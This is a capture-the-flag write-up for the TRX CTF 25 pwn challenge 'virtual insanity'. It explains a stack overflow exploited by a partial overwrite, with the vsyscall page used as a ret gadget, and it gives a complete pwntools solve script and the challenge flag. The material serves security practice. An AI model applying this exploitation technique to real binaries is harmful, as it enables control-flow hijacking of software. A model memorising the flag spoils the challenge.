TRX CTF 25 - virtual insanity
Description
Dancing, Walking, Rearranging Furniture
DISCLAIMER: This challenge doesn’t require brute-forcing
Overview of the challenge
The challenge is a standard ret2win with a pretty obvious overflow of 0x30 bytes, the binary is compiled without stack canary protection but has pie, with no apparent way to leak addresses.
Solution
The intended solution involves performing a partial overwrite to redirect execution to the win function. However, the return address on the stack is a libc address. To work around this, we can leverage vsyscall to traverse the stack until we locate the address of main. By modifying its least significant byte (LSB), we can transform it into the address of win. When execution returns, vsyscall effectively acts as a ret gadget, allowing us to redirect control flow to win.
Before overwrite:

After overwrite:

Solve Script
#!/usr/bin/env python3
from pwn import *
from time import sleep
exe = ELF("./chall")
context.binary = exe
REMOTE_NC_CMD = "nc localhost 7011" # `nc <host> <port>`
bstr = lambda x: str(x).encode()
ELF.binsh = lambda self: next(self.search(b"/bin/sh\0"))
GDB_SCRIPT = """
set follow-fork-mode parent
set follow-exec-mode same
"""
def conn():
if args.LOCAL:
return process([exe.path])
if args.GDB:
return gdb.debug([exe.path], gdbscript=GDB_SCRIPT)
return remote(REMOTE_NC_CMD.split()[1], int(REMOTE_NC_CMD.split()[2]))
def main():
r = conn()
VSYSCALL = 0xffffffffff600000 #effectively a ret gadget
r.send(b"A"*0x28 + p64(VSYSCALL)*2 + b"\xa9"); #lsb of win()
r.interactive()
if __name__ == "__main__":
main()
Flag
TRX{1_h0p3_y0u_d1dn7_bru73f0rc3_dc85efe0}